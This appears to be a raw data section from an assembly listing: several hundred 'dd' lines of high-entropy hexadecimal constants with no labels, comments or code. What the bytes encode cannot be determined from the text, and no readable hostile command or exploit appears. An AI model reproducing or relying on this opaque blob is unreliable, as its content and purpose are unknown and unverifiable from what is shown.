dd 0C97C008Ah, 8577B450h, 9B0073A8h, 36B7DFA3h, 0A755ADCh
dd 6D96DA2Fh, 0E60400FFh, 57845E42h, 0D7E80C00h, 0CFFFCA0Ah
dd 818D00C4h, 217F488Eh, 0CB1DC8C6h, 0DCC0D94Ah, 60395D1Bh
dd 0F442077Dh, 5059059Eh, 3CD7EDC2h, 967458h, 174DA9FAh
dd 0B8612D4h, 35EB9652h, 0D9762F00h, 70A8199h, 83B84233h
dd 0C7C89201h, 68FCFED2h, 7DEB00B1h, 611AE17Fh, 10009601h
dd 5F99C0A3h, 5B3C15h, 0FCF6C6EDh, 0DCB863F8h, 4C3A6A00h
dd 10737E69h, 2CA900E2h, 0D5E7A1C9h, 0A83B9B33h, 29BCCEEh
dd 6B56BA98h, 0A2F480B0h, 7A78BB4h, 0BD017F62h, 0B22DF07Eh
dd 9126790Bh, 690E420Ah, 0FC7C9D81h, 6BF58C03h, 0C0749E9Fh
dd 25F1D2h, 555A32CFh, 683F431Dh, 83BB1A00h, 9FE6D77Ch
dd 0D6660E20h, 0C05EA56Bh, 0C2F2EE8h, 0A71FA358h, 28012B73h
dd 95BD8C75h, 0DE80CCh, 9274590Bh, 90A255D6h, 6C895A0Eh
dd 0DAAD40A4h, 9230497h, 9CD296F3h, 0C3FD0180h, 0D00E9581h
dd 2229E0A4h, 0E01C7634h, 3F82D01h, 0DF19730Fh, 0B280C8AAh
dd 3B0EB039h, 0B37BABA4h, 589DA203h, 2683C0C2h, 0EC633D8Dh
dd 0F11B9187h, 4D8F803Fh, 0A600A232h, 7B5DDC1Ah, 46950Ah
dd 0C16C6F84h, 0F882751Bh
dd 79940300h, 0A3A42724h, 4EF100EFh, 10164777h, 0E0FDE41Bh
dd 430F9C8Ch, 8FA7B1FDh, 0DC71803Eh, 3B8EC268h, 36802601h
dd 0A0EC2848h, 500F867h, 5CCFD43Dh, 7D1E1D5h, 0CC6352EBh
dd 0BA7B0BDh, 0ADF098C3h, 0D7CA5900h, 0D973E50Fh, 563D2C0Ah
dd 3E7900B5h, 0DA70A363h, 1A4F8900h, 97AD2D83h, 37E000F1h
dd 0A67C3066h, 0CF01C831h, 0C1CA2346h, 3F20933Ah, 0C0B1A2E0h
dd 58C04A2Bh, 7DF122h, 9DAA76F8h, 72D57DB6h, 65DC670Fh
dd 0D3F1600Bh, 3E3DAD34h, 8A80F911h, 0EF90CB88h, 573BC177h
dd 7A8400FCh, 8EC347B6h, 0FEDD0049h, 88D0687Fh, 781F9895h
dd 5C4BA87h, 4B80EEF8h, 1C3C462Ah, 409BCCBEh, 0B7BAD15Bh
dd 0D0734411h, 0B98F553Eh, 0A0E18060h, 20051F93h, 414F0037h
dd 9065B32Dh, 0B1077F0Dh, 0BD5D1AEDh, 0D66418B0h, 4F8E056h
dd 0B63BD23Ch, 0B02B80DBh, 0FD58C5EAh, 15E10023h, 1B73FAEBh
dd 66853AE0h, 0E70051BEh, 7B54E59Fh, 84038AFCh, 86233414h
dd 0F8A293C0h, 0B4D039h, 0AE2DFBB3h, 9984E1Eh, 0FEEA7100h
dd 88ECDB48h, 2A5F0074h, 0C603B98Dh, 24009E4Ch, 0CC2160E5h
dd 0CA736h, 0E6A93726h, 87632AEDh, 3112B800h, 2BAD4DBFh
dd 0F8E105D7h, 0C022793Fh, 0B9C0B4E0h, 2617A801h, 0EDF2A34Eh
dd 0A070CAC5h, 7C5C0222h, 762CADE1h, 70CBD3E0h, 615730E3h
dd 0B8A3DD03h, 0A0819697h, 0C8633Ah, 0FB359AEBh, 6AE31288h
dd 9755F900h, 0D21E2A44h, 0D60F00E0h, 57E59ACBh, 66000906h
dd 42809CFDh, 75411F6h, 0F2260BC1h, 7EF020DBh, 81264740h
dd 5C004B32h, 5548EB0Fh, 0AB590062h, 29752377h, 9C07C84Ah
dd 61B34F2Fh, 8060A8A0h, 0FA63009Bh, 0DEB81997h, 171FDC6Bh
dd 4680F6BAh, 69FC6C1h, 8B3707D4h, 0B049ADC4h, 0CF62FADEh
dd 6ABF0D0Bh, 6793003Fh, 0E4F51FA6h, 955D0018h, 934A772Fh
dd 0D2001AD9h, 0EF4393Ch, 0FCC4D416h, 671400ADh, 1D0CD1EDh
dd 3F70CE5Dh, 80C16B3Fh, 0BD5E0676h, 7C8717Fh, 8A0D0B9Ah
dd 31B160DBh, 9B003E8Fh, 0FB793950h, 102BC9h, 5D38C40h
dd 0D0B583E0h, 0DABE3000h, 0F15A4648h, 0A11E392Dh, 0E03BBC8h
dd 0C4BD2FE4h, 55AAEFA0h, 0D100D3E2h, 4399057Ch, 1E59709Fh
dd 80C65EBBh, 0A9066380h, 670E9574h, 6060499Eh, 0F7877ECDh
dd 7040021h, 7547F659h, 9F01C78Ah, 992239CCh, 0BCCCE818h
dd 0B91538A7h, 3E6FD324h, 533E6080h, 5481717Ah, 0F4BC4Ch
dd 5F9F52FFh, 1F2F9978h, 0DF035945h, 0CA8DC3B4h, 79B0A6FCh
dd 0A8FE46F2h, 590A351Dh, 0D852B240h, 0FC094E44h, 940C24EEh
dd 9FDE00FAh, 542C21EAh, 3924500h, 0D8F9B947h, 0FE397364h
dd 942600E9h, 8376680Ah, 0FD00E489h, 0F979B75h, 310B85h
dd 0EFA8F503h, 308304E3h, 808B7B3Fh, 68885FA6h, 1CE94889h
dd 40632F32h, 49421FE8h, 0B83AEBBAh, 888C17CCh, 0F3014E16h
dd 0F0FD8516h, 1D932F0h, 0EF0D4E05h, 0F07E68ACh, 8C00AA97h
dd 10143164h, 6A174Ah, 6879289Ah, 0B016298h, 0CBDCF900h
dd 0E634BA0h, 5A56016Fh, 0A5D429D3h, 0BE4B70ABh, 0F6952700h
dd 0F5507D02h, 9B1A3CECh, 82D2B803h, 0A76F5Dh, 0ADF7A99Ch
dd 17E13800h, 41DAE339h, 7B8D00AEh, 0D340935Eh, 55F0C7A5h
dd 0F1DFDC00h, 0E5BF8711h, 2C7B004Fh, 56CD303Fh, 180E24BDh
dd 8301192Fh, 0AF6774BEh, 363AC380h, 65FC00F4h, 1E777EAAh
dd 1817A8AEh, 561C9F27h, 396A9800h, 0E81C2B6h, 0BAB54E9Ch
dd 35373DC1h, 0B002CC5Eh, 0D6D4F200h, 768A1D46h, 1E6B1E25h
dd 6593C055h, 0BADA6F0Ah, 5405A400h, 51491F27h, 0D8D43B70h
dd 0C93B2400h, 638ACD07h, 0C67E9A00h, 95B8E839h, 0D276077Ah
dd 0E181D6E6h, 204EABC9h, 1400AAADh, 0DE3BF831h, 1DE81F98h
dd 8171ED30h, 0A1F55284h, 0F19160CBh, 92FD7D01h, 0BE04D06Eh
dd 4535C0h, 875383EDh, 44D5C2BCh, 0C322E800h, 3396F7C0h
dd 0C5021C7Fh, 2D0F819Fh, 40D617BDh, 5A3A1E0h, 0D92ED800h
dd 0B5C58DDFh, 0E0876043h, 0CA2F63F1h, 49A70F00h, 0C1AC1738h
dd 0E24D0077h, 0C45D6654h, 110039AFh, 4E1CCB75h, 594A3Ch
dd 766ABBE6h, 8506E88h, 32C08100h, 363D3461h, 0E84200D3h
dd 18D61472h, 0A92EBBE5h, 880052AFh, 0B9415A99h, 964A0161h
dd 0B62B694Bh, 0FE516044h, 76535C0Eh, 0B4C78010h, 286FA8h
dd 71BA7F73h, 0C556E3CBh, 0C900397Ah, 8145EE4h, 16DC8ABh
dd 0FDCC7DFBh, 0FC90881Fh, 6E18755Ah, 3B92577Eh, 38E0FEAh
dd 4980561Dh, 0D1F0BBCAh, 79F8601h, 4FA8CC4Bh, 0F4060h
dd 5727B919h, 9941CABDh, 0CC9B853Ah, 220700D3h, 8296E872h
dd 0FB9F0784h, 0F08AE7ACh, 77B8937Fh, 0E11BF107h, 7941079Eh
dd 48D87856h, 0F86F0009h, 35DF67C7h, 0CFFB34D5h, 2CD59D0h
dd 3C2EE100h, 3F0103B4h, 0A45500C7h, 519F02Bh, 6A005D88h
dd 0B4B281D7h, 3C39E8FCh, 7C00619Fh, 0C440D9F0h, 0EC0004EDh
dd 0F4EEA8CDh, 6B9AD4h, 0F8270CDDh, 0ED2B1ADCh, 1B0340B8h
dd 0E749DB67h, 3BFEF1B6h, 63C87131h, 0ECE20F76h, 0AF6018B2h
dd 0C326719Ah, 0B0FA3E07h, 0C07FD7D0h, 0D1C0670Bh, 0AD8C006Ah
dd 6EB65FEDh, 0DF714752h, 0F832231Eh, 45F391C0h, 27A6C4h
dd 6DADACBBh, 0C9FCDDBh, 834CAA38h, 0F2152203h, 76C20510h
dd 80F4EBF3h, 4593FD38h, 4D2EEC00h, 6D2CC06Eh, 2B7700BCh
dd 3F3B05FFh, 3703C435h, 528D9CCCh, 0F7B1D06Ah, 7F2503D2h
dd 0BAFE5EC0h, 0FA5CEAE8h, 0A100A198h, 7B652E5h, 0EC21BDh
dd 5F689B97h, 0A7287354h, 0F7D8DF07h, 3820BE7Fh, 0DFD74h
dd 68EEAFC1h, 14CA501Bh, 2D056E1Dh, 4C0023D7h, 7CA601ACh
dd 0DC9507E8h, 60FA6A36h, 8D12B954h, 0B49D3E00h, 0B2837A8Eh
dd 1E040175h, 47162F42h, 0D8EFDC55h, 77E7D500h, 4A92ACD0h
dd 0F4DD014Fh, 315AE98Ch, 37B2F4AAh, 5702DFE4h, 68CDBCFBh
dd 417B4062h, 0CAA50053h, 0B5A7EB46h, 5D0BAAE5h, 8095CF1Dh
dd 0ECA9F655h, 0E1DC0321h, 497E6D45h, 65D8D5B3h, 1E0FF36Bh
dd 4CE899h, 0FD1FF7C6h, 4E211FF9h, 0D765C05Bh, 0A2CF6E98h
dd 80982379h, 0AB8A8C00h, 0A9D32A01h, 0BDB101B0h, 19599A6Dh
dd 452BCC1Fh, 0BEE60600h, 0B214256Eh, 2B0BCh, 0EEB92013h
dd 9070BD66h, 22C01A0Fh, 0F9786050h, 0B1BC88Ch, 8ECAE873h
dd 7AAD5800h, 5900E6FCh, 0F1F02094h, 446F25h, 42CAF25Ah
dd 83F4AE2Ah, 0E9077FFCh, 0F30E56B0h, 0FCBEDA00h, 5C220060h
dd 0EB2A39ABh, 0FE00F494h, 0FD33AA8h, 0F89B91h, 5988528Ah
dd 0C9FFA6ADh, 2238F500h, 3642555Ah, 0A3D01EDh, 3FECB482h
dd 99C5F033h, 0C1BD231Eh, 1BB0807Bh, 6902EA03h, 42491DF1h
dd 93B88009h, 7627C610h, 48B3B407h, 8950B50Ah, 9FA2DAh
dd 0CD8783C3h, 854AB071h, 417D58h, 9436282Ch, 912B39h
dd 17C7CA3Fh, 8E9B8116h, 3D893301h, 0B3BD9DA9h, 70D17CC0h
dd 454E034Ah, 0E271494h, 8EE957C0h, 2E9CB501h, 0F67FD267h
dd 9BC0CCh, 0ACBCCED9h, 16B3FA19h, 0A2B9EA00h, 36FCF043h
dd 5B870956h, 0F400848Ah, 72F7DC5Fh, 2C4E6097h, 8CA3004Eh
dd 33888BD6h, 37B8B344h, 1900DE7Ah, 0BFB43592h, 0BDE3A6h
dd 265F7251h, 0C6F56AA1h, 83186C00h, 6EFA77C7h, 0B27B00AFh
dd 0EE840CE8h, 52003812h, 2C63D39Bh, 31D487Ch, 0F4F94FDBh
dd 598843Ch, 820CB8A9h, 0BAE0706Fh, 0A10C00B5h, 0AA257268h
dd 4A0079E3h, 0D8AF712Eh
dd 0C31CEBh, 17FD8ED6h, 838EA29h, 0B8CD7200h, 0B5F9D141h
dd 9D983B93h, 0ACA40C8Ah, 0EC530FF7h, 843A2B42h, 272ED440h
dd 0B00A1CE0h, 85F4453Fh, 0D1385300h, 0E41FE48h, 88F0714h
dd 6D2A9FA0h, 0C500CF6Fh, 5D985EC3h, 790CA2B5h, 0F27A0070h
dd 8D771A6Eh, 8600BB28h, 1B5FA735h, 3BA606h, 1F849462h
dd 61CED0CDh, 130DCF00h, 43744DFFh, 0EBD200F8h, 8BC3B4AEh
dd 0A1002016h, 514152Dh, 2521D97h, 1BA1E79h, 0C8C29907h
dd 5AA3A160h, 0EFA21F01h, 889CB666h, 4EA6B240h, 7F8B00E6h
dd 5A6414FCh, 0F801C95Dh, 7BD36E2Dh, 53D8275Bh, 485700A6h
dd 297CF035h, 0F700721Ch, 88B2E459h, 7BE860A9h, 7C278BEh
dd 4C5B70A6h, 0C4055090h, 7F0B4492h, 80AF5A79h, 0F96E29E1h
dd 303C0017h, 745E7C98h, 664A89B0h, 0FC00EEBCh, 63C328F5h
dd 0C501F6F4h, 3EB32EBEh, 44D0AA4Ah, 0DBB53D06h, 2B6F0070h
dd 0DDC49078h, 401EDCD9h, 5780D6E4h, 0B3521FD7h, 128200ADh
dd 0C0E6752Eh, 5A001928h, 194F93Eh, 3CFB2703h, 0A8074C0Fh
dd 0B0664D7Ah, 1D961C7Ch, 0C2C44800h, 70748DCDh, 6340001Eh
dd 0C98BD721h, 423D4190h, 0A83FF3h, 0A608E0Dh, 64DBD4h
dd 1C388B26h, 77DA827Dh, 6FC96B0Fh, 0DFCE6089h, 2F7508h
dd 9A31869Fh, 0B81274F8h, 0BF181500h, 0D98EF0EBh, 32DE0041h
dd 392B79D4h, 2901C0E2h, 9E331B50h, 0D5D4D8B0h, 7E5F38BBh
dd 0D1530070h, 2EA1E9F0h, 0A8002FF8h, 46180FD7h, 0F0EAB3ACh
dd 0B1380055h, 6747F13Ah, 8600CD1Ch, 0E334F5EEh, 9EDDF58h
dd 361D4D30h, 16238C00h, 1B009D85h, 516A1284h, 1F8E37Fh
dd 1C02A66Bh, 3056E6C6h, 50BFF53Dh, 0FF9003D5h, 2A412E29h
dd 0FB9C9DB0h, 1CBCC258h, 8800B164h, 0DE946581h, 484600D0h
dd 5E8F5D7Fh, 0E400CC35h, 1AB83334h, 33FDFFCh, 0FF50EC03h
dd 62884737h, 900E31Ch, 5BE2ADFBh, 3810C7h, 2B408476h
dd 8A634983h, 0FA56F600h, 125B9822h, 771F0003h, 0A60A40ABh
dd 0A0007B30h, 195EAD2Fh, 0FCEE61h, 16C154C2h, 0A43639D2h
dd 0E17E8FE0h, 7D5E2303h, 0D9964EFBh, 0AE85548h, 0AB710062h
dd 98970C75h, 7B00DDD8h, 14C0B50Fh, 1E35E1Ah, 6A749CF9h
dd 0FC5C6015h, 0F1009BB9h, 0CBA5627Ch, 487033B2h, 16008991h
dd 1BC7F6ABh, 1F7BE37Bh, 0D6F5A71Fh, 129F3C00h, 7722BE7h
dd 808D5631h, 0E3486315h, 33B0BCD8h, 0B3ADDA50h, 710049E8h
dd 234A739Bh, 1F816DAFh, 806B5D53h, 0A3C4C2FAh, 8F1D1BE1h
dd 0AE404A31h, 45F72DA6h, 257500CAh, 0F529570Ch, 93EA7791h
dd 7E00E875h, 6B539BC9h, 1FE3D225h, 3EBACF67h, 138649Eh
dd 7D02C66Fh, 6BB3307Eh, 8B6E1E01h, 0E4DD742Ah, 27B0AF0h
dd 3EFF81C7h, 0FD4020B2h, 67759195h, 0F1B1E200h, 8B4904DFh
dd 0A33D3FCFh, 13031983h, 0DDA159C6h, 0B14EF036h, 6D042703h
dd 0A815D8B3h, 7A381D29h, 138D009Bh, 1A17E573h, 783EE864h
dd 9EE1050Bh, 8EC7B099h, 368931A0h, 0A8131F72h, 56833EFCh
dd 588DA2D3h, 8BE4B5B8h, 90D54800h, 4CA7833Eh, 0D2E0035h
dd 0B9F9606h, 0EC0407F2h, 0B548337Ah, 8AE73280h, 83F686h
dd 0B1850EBEh, 0A4C278C8h, 0AAC1B0Fh, 43334039h, 11FA530h
dd 0E1D2CB37h, 70926613h, 970027E4h, 7BFD2E87h, 1F18AFC2h
dd 0C3C639ECh, 0C50CA768h, 7C5AEA07h, 90E78C02h, 0C74DCB30h
dd 9C5F00E9h, 0DDF444B2h, 34E4BF97h, 7B4A8D00h, 0ADE77F17h
dd 6F540E68h, 0FBE07CBDh, 0EFD208F2h, 91634400h, 736EBBE3h
dd 0FF1500D4h, 0AAA82284h, 5D0788D3h, 8CA44AF0h, 9E4E1B50h
dd 0A25103FFh, 77EC6950h, 4F4780BCh, 0C400A444h, 37E212D6h
dd 0E9A17875h, 68EEE4h, 59B6FC3Ch, 9A6A3090h, 3AFFA500h
dd 64AF3BBFh, 8C680063h, 48714117h, 0EA008547h, 7610E77Eh
dd 0CF3DD2h, 18898808h, 0A62F3275h, 0C6D02C0Fh, 4E4D60FEh
dd 5D7B88Eh, 3C076992h, 8D2CC02Fh, 2E0132F9h, 93D83AC6h
dd 0B7E4B208h, 554700ADh, 777DBFE4h, 0D5FCDDEFh, 5349A00h
dd 1CF7F676h, 82FEC8h, 6B7323EDh, 0BB9872EAh, 0EE49B500h
dd 0C2A9369Eh, 0A0C60015h, 5BE8A4D9h, 951E0B83h, 1C2C919Bh
dd 0CDC9003Fh, 2E517CBCh, 0ECE9000Eh, 0F6C333E2h, 4870A510h
dd 1346CE00h, 8B3241B1h, 67A8385Ch, 0CBDB2784h, 4680AFFAh
dd 62EDF8h, 3EF29DC3h, 874FE115h, 6DEFA600h, 7EB9215Dh
dd 81DE004Ch, 96691BBFh, 550259BAh, 424D75E8h, 6627C041h
dd 0D4CE000Bh, 6F9CCBEEh, 7407C8AAh, 0C4EB4A60h, 8DBB5230h
dd 0B0FE00BAh, 8A6C3BC3h, 8F177224h, 83009914h, 0D9395DC2h
dd 0A6D50197h, 0A10D9D1Bh, 1ADCD43Eh, 787DFB70h, 0AB4ED300h
dd 0CCBB2752h, 85B200F4h, 13174AC7h, 0F6241121h, 66015CDEh
dd 867FC262h, 0C08454E8h, 42BBE98Ch, 7C1C4B9Ah, 4D87B287h
dd 4300F4B8h, 3C7BF37Fh, 3580EC6Dh, 70CFFD02h, 1C07320Ch
dd 11C119F5h, 0CB04FA00h, 7C8703A4h, 7E104776h, 2FE024C3h
dd 0B50F65FEh, 0E0AC5418h, 205A7357h, 0D2EA1E4Bh, 68D8338h
dd 9F8884B2h, 0BE1F1A03h, 7745FCF7h, 308022F2h, 6BC436h
dd 0C958B065h, 0D18B18B7h, 0AED03Ah, 0C42E917h, 8F3BECh
dd 6D1D2C52h, 0D02EF65Fh, 0B5926900h, 6C314F3Eh, 4CA54875h
dd 3404A000h, 7DEDD17Bh, 0DBAC0900h, 12D75089h, 0F6A20071h
dd 0F2356C0Ch, 0E6001FD2h, 0E2A30153h, 0C9723Eh, 75D3E7FFh
dd 33E567D0h, 5F7E0602h, 6068833Fh, 3C22E4Ah, 0F648D87Ch
dd 49B0F4FBh, 51E92FEh, 0DB56072Ch, 0E5ADB000h, 0B6C55Fh
dd 0CD84A2A1h, 19883FD4h, 0A0FCCB00h, 82AF2FDAh, 76A50070h
dd 3CFAD9B1h, 0DC00AABCh, 429D3DA2h, 0A6E22Bh, 0C481307Eh
dd 0DED0F562h, 0B153D71Eh, 8EC83A80h, 6186E0h, 84C1E775h
dd 2E1E568h, 5A101E00h, 37317753h, 0B6A40099h, 21D0635Bh
dd 220043FFh, 350489D6h, 0EC945A67h, 0BF551D81h, 3E91DD83h
dd 387E8C80h, 0ECA2AE2h, 0C7D99617h, 0D40771Eh, 1E97F950h
dd 85795Fh, 0E67A1882h, 8F5C6C90h, 2E658900h, 4DA85798h
dd 35212C28h, 0EC2B019Fh, 60CA238Ah, 46003A6Dh, 4FD7B029h
dd 9B4A2Dh, 12A942ACh, 1CF63BD2h, 0D341FE00h, 1B9819E3h
dd 90B30066h, 0CBDDDAC2h, 0E600B416h, 0EEF1626Fh, 12EBF0h
dd 2926ED89h, 0A6387DC6h, 222D5B00h, 0B71C2C8h, 9243003Fh
dd 211BADDEh, 0FB3A90BDh, 24FD0F72h, 0A9E8671Ch, 0A4A2C4A0h
dd 0C7080081h, 0D7864156h, 0F75B2BE3h, 0E2A0E0h, 0A7B5DAA3h
dd 2253DC3Ah, 25387C00h, 55FED117h, 0BB5E0041h, 0D94FAF6Ch
dd 9DEE7E7Ah, 4E069900h, 58B68A8Ch, 2B721Dh, 8FC87C49h
dd 765E3BFh, 0F414AE00h, 94B9CFEAh, 572D00DDh, 7739114Dh
dd 0E700B28Ah, 684F5D0Fh, 0CF3E8h, 9C71FC88h, 79C5A041h
dd 0C890CF07h, 9F5026AAh, 0E00F72B4h, 0ABB60E3Ah, 7887BB9Ah
dd 45A0802Eh, 0E8000727h, 0A98AE0CBh, 7830D40h, 87989CD9h
dd 63E41046h, 7B0019DBh, 6C0E0568h, 0AA8F80h, 0C8AEA708h
dd 99C30375h, 1A98A600h, 6E52F173h, 8B89002Bh, 520FD9Bh
dd 0D100B65Ch, 0BB765965h, 0F5AAD9h, 0F8317DD3h, 0B1931D85h
dd 44828E00h, 6B7F742Bh, 39B207AEh, 0F0695843h, 9A47864Ah
dd 4DE23Eh, 0CF2DB804h, 70ABC9CDh, 5F990091h, 0D10FBB84h
dd 3E009605h, 7CAA8A8Fh, 21FA6Bh, 3F37A47Bh, 0DE0EB66Ah
dd 879CB900h, 0BBD0FCDDh
dd 0E46501BEh, 4F5BCD2Ah, 3A51C04Eh, 8D6EE800h, 2CCAEC88h
dd 58D43187h, 0F84C5FF0h, 4D009E9Ch, 45D7A3D5h, 74275C86h
dd 98A900BCh, 2333C8F0h, 0D10078B1h, 0E60E0F7Fh, 610B28h
dd 11668703h, 886EDC09h, 0EAD8E100h, 0D1507435h, 2AE0362h
dd 0C6F04C72h, 5DCAE080h, 320061F6h, 0BB409B8Ah, 93E420h
dd 75DC8360h, 381982Ah, 113E7200h, 9D99769Bh, 0A86E03E0h
dd 0EA9C59FBh, 3591D9A0h, 3387FD00h, 983C713h, 0F4FC00DEh
dd 0F59B1A0Ch, 41003DD7h, 780762A3h, 7C5506C4h, 87375CCCh
dd 59DFA100h, 796C6FC3h, 1382753Bh, 0C900CE69h, 2CD0472h
dd 0D6AD0945h, 805F15A2h, 0D8897D92h, 6FFF697h, 6D7149C5h
dd 0B901F460h, 47C2B470h, 0A0FCE554h, 0E6EE00E8h, 0CC87413h
dd 6D7EA6F4h, 679EE700h, 0BA5379AFh, 85BE001Bh, 91E273Ch
dd 95E85881h, 54369300h, 0E651FAF0h, 6475D5h, 8D919A24h
dd 186112C4h, 0BCB0042Eh, 4019A30Eh, 68E02D9Dh, 0A4BB008Bh
dd 75942CA1h, 82EEFC7Dh, 26A70700h, 4F23134Dh, 0CD1400DCh
dd 0F6223A53h, 5B000B5Eh, 0F857E69Ch, 5C02E5h, 50E0DC7h
dd 22F9B445h, 1A008D7Eh, 0CBF5E875h, 0E44AA1h, 817A534h
dd 0FDBE7B60h, 79F69600h, 0A03DB023h, 0E247007Ah, 14136264h
dd 990367F0h, 45F9E087h, 6B2087ACh, 0F2651FF4h, 0A7F500F1h
dd 52AF32E7h, 893E9836h, 0E8310079h, 0B29C02A2h, 23FB009Fh
dd 6187B8CEh, 71004D98h, 0EB2B30A7h, 0D85259h, 2DEFFD4Eh
dd 0F2C38ACDh, 3A1E707h, 21009567h, 1D0FE8E1h, 0FD50177Eh
dd 0BCBDB807h, 0B335A0ECh, 32008F2Dh, 0D5CA66E9h, 1DFBA013h
dd 80999E95h, 0F50C5D5Ch, 9D0E3723h, 60F04091h, 2847512Bh
dd 8E73FFh, 59F894BDh, 9A6FBE5Ah, 874D1D00h, 0D9E448C6h
dd 0FE8C3A67h, 0BB881B80h, 91457271h, 6D936F00h, 9A151803h
dd 22A700ECh, 9C85677Fh, 70B8303Ah, 0BC12BE07h, 8E802F03h
dd 3D6C754Fh, 918065F6h, 0EF347F09h, 6B00853Dh, 545DBF63h
dd 3CB4CF32h, 8A8F9729h, 5A001259h, 0A35BFF7Bh, 20F4F100h
dd 0DFDA6E68h, 74AC009Ch, 102B8586h, 0AA12BE3Eh, 0AF008CF2h
dd 37B34A40h, 484D00DCh, 0E2CC134h, 0E100E6E7h, 21AD4E8Eh
dd 479366h, 0C459F057h, 2203B8CAh, 2AC01F00h, 421698DEh
dd 3F8D00F7h, 0B2FF1A2Bh, 8870471Dh, 7C59AB01h, 0EC90EB24h
dd 7D8CCCFCh, 0FE50065h, 0DB444B63h, 0CB03FA9Bh, 732A20AAh
dd 1E26E0EAh, 0BA11D92h, 0BC03C094h, 0C45C3289h, 72EA0900h
dd 9B2AAE1Bh, 85210034h, 69D16E8Dh, 6B00AD59h, 534E0E58h
dd 682D15h, 6C38E4F6h, 8FB59C37h, 0AD00D57Ch, 36CDF899h
dd 0EA6D6077h, 2ECC0305h, 6E733810h, 235D35F0h, 0BED83A07h
dd 0A310C4B7h, 0A986905h, 51823120h, 0BC0E1DB4h, 63910B00h
dd 0F2B0DDFBh, 29171075h, 0C6006D6Bh, 5E748568h, 0E3AA004Ch
dd 0B1D469DDh, 45778979h, 39DC6C00h, 0FE105E82h, 9AD800FCh
dd 0C8B07324h, 22005913h, 2DCBEBFDh, 0B62526h, 3F93CC98h
dd 386F3351h, 57600E00h, 46D7C562h, 0FDD60052h, 580D31F3h
dd 4078E47h, 8971DDF6h, 30FBCE10h, 0E5500148h, 0F264D7E7h
dd 2DD84317h, 49CBA00h, 8207FF31h, 335701E0h, 11BF5CA0h
dd 0C45EF815h, 6D73CF0Fh, 639E9F71h, 0F66609h, 0AD0C87B0h
dd 4D470028h, 5FD31750h, 665CBDE0h, 7200124h, 71DBAA10h
dd 0FCB1ACD4h, 7E6901D6h, 0C222572h, 0E0DAD93Ah, 23F8B76Fh
dd 7600BFF4h, 0A441EB06h, 1A0257h, 0AF3A5679h, 7F2A8612h
dd 34F61300h, 0AADF04D6h, 0B0AE00C1h, 38314EB6h, 0D1F6D275h
dd 180CF4EDh, 7F649B00h, 0FEF2471Fh, 52FF1DB8h, 8E33406Ah
dd 262EA57Ah, 0FC833Fh, 1D0A55CDh, 1E10FD21h, 0D27ECF91h
dd 86D30018h, 6294AFDFh, 6FF62801h, 9734FB46h, 4231F0h
dd 51D0EC1Dh, 39A0BAF1h, 309EC100h, 71B656C4h, 0CAF7005Dh
dd 47388116h, 0D00F272h, 0E07C9D0Ch, 5E7DE8EDh, 91AC3Ah
dd 3B25BFB4h, 7FF6E62Bh, 0B1F80015h, 0FF1650D3h, 6100D97Bh
dd 67F35B20h, 0BCC06Dh, 0EF25F1E6h, 94C78295h, 0C27E38h
dd 5F8DFA98h, 422CF5h, 4AB4BDC8h, 0BA76653Ah, 40055200h
dd 55965137h, 316E0046h, 0D6D1CD1Bh, 6100F86Ah, 6D26058Fh
dd 7C9EF81h, 844725C6h, 12F53046h, 0DE0094ECh, 0B2305D7Bh
dd 2C923Fh, 0CC8C0A8Fh, 3AE547CFh, 8B29FD00h, 0BF52F0FEh
dd 0F8782Ah, 0C822A86Dh, 6E4F3CC5h, 27B5F200h, 0CFF751A2h
dd 0DA45051Eh, 0C02D7FBCh, 34142141h, 975EE139h, 0CC006758h
dd 0B761D0F8h, 0B65D0060h, 8A013E7Ch, 0D80099B0h, 0EB515A23h
dd 7153172h, 4AFC9CEh, 0AD6B04Eh, 8B003237h, 31BD2921h
dd 1F56C102h, 0EB5CBEh, 2A3F83D1h, 9F00B1DCh, 0F3352782h
dd 7A170A43h, 807F7Fh, 0C5988D68h, 87D12995h, 55346D00h
dd 0EB8F8C17h, 3CC000B6h, 0B95C22F4h, 5A00ED2Bh, 0E4051850h
dd 343895h, 0E233EB2Eh, 7EA38297h, 0BEE91500h, 0B172AF9h
dd 0B59A0064h, 4755ACF5h, 9F009896h, 68B31DE9h, 0E5C8E1h
dd 76F82CD8h, 2829D251h, 0CB0FD900h, 9257AC17h, 0EFC705DBh
dd 0C0BD7921h, 1A701672h, 0B000E277h, 0C91D11E4h, 0C0716374h
dd 315A4146h, 0EE03651Eh, 86B8750Ah, 0C435D843h, 6AF30013h
dd 97CC994Bh, 1A0031C8h, 590C06C2h, 508539A3h, 37BFE2h
dd 48925E3Bh, 0BDA2DC9Fh, 63051207h, 0AA40B914h, 0E613E8Ch
dd 543BB41Dh, 1BA862C3h, 0D9F1B398h, 7B209600h, 0EBEECD80h
dd 9EEC00C6h, 51DD3D41h, 9F005F3Ch, 214ED443h, 151E28h
dd 9C489E82h, 0A232AA1Ah, 6A242D07h, 6B2F4Ch, 671DC812h
dd 720600F8h, 29274DB2h, 70008805h, 7ADD036Ch, 996FBAh
dd 0B184EA74h, 8F48693Dh, 83B3E400h, 0AF3E0FBDh, 8A81012Eh
dd 1ED6AAF7h, 0A13DEC40h, 0BDE1A600h, 30DB8368h, 51CC024Ah
dd 0AB5A5FDEh, 544E74E0h, 13B51003h, 0F87CC2C4h, 0C3EA65h
dd 0DEAE35FAh, 7B15DABFh, 57091600h, 6ED57F45h, 83941D80h
dd 5C36804Fh, 2908CB8h, 0C725AA0Fh, 16862020h, 125D29B0h
dd 753CC0Fh, 300D6192h, 2C79EE22h, 43DC9500h, 9F3E270h
dd 9D362E7Ah, 0EA003E25h, 4F7DBF60h, 5C3CE703h, 98870058h
dd 8C7F71BEh, 0C91A03F0h, 6813A407h, 9E1D4B8h, 0A0B26100h
dd 8E199D3Bh, 0D0490193h, 2CACDF1Fh, 9C60D497h, 0F277BD00h
dd 0A2D54D2Bh, 156D0036h, 7DAAC09Bh, 1600D047h, 9C62FE4Bh
dd 825FA3h, 2B8B1237h, 0AADE58B7h, 9075D6FAh, 3D4B0307h
dd 80002E66h, 430CA8h, 74120B44h, 0B88CF1A1h, 0E4017CE2h
dd 111BBFFBh, 303493h, 0E660FDAEh, 3181005Fh, 0DB56614Ch
dd 86009D10h, 0F57B34Dh, 7FC97D2h, 64997C96h, 0BA1880BBh
dd 200A2F2h, 69EA7246h, 0E5B0D5h, 2A06FB08h, 60E8849Eh
dd 0BD0AFD00h, 0D9911DCBh, 68ED1DF0h, 5C668764h, 86AC3002h
dd 7B3F4853h, 0E7B20765h, 33006F07h, 3A9A8Dh, 0E0EABADCh
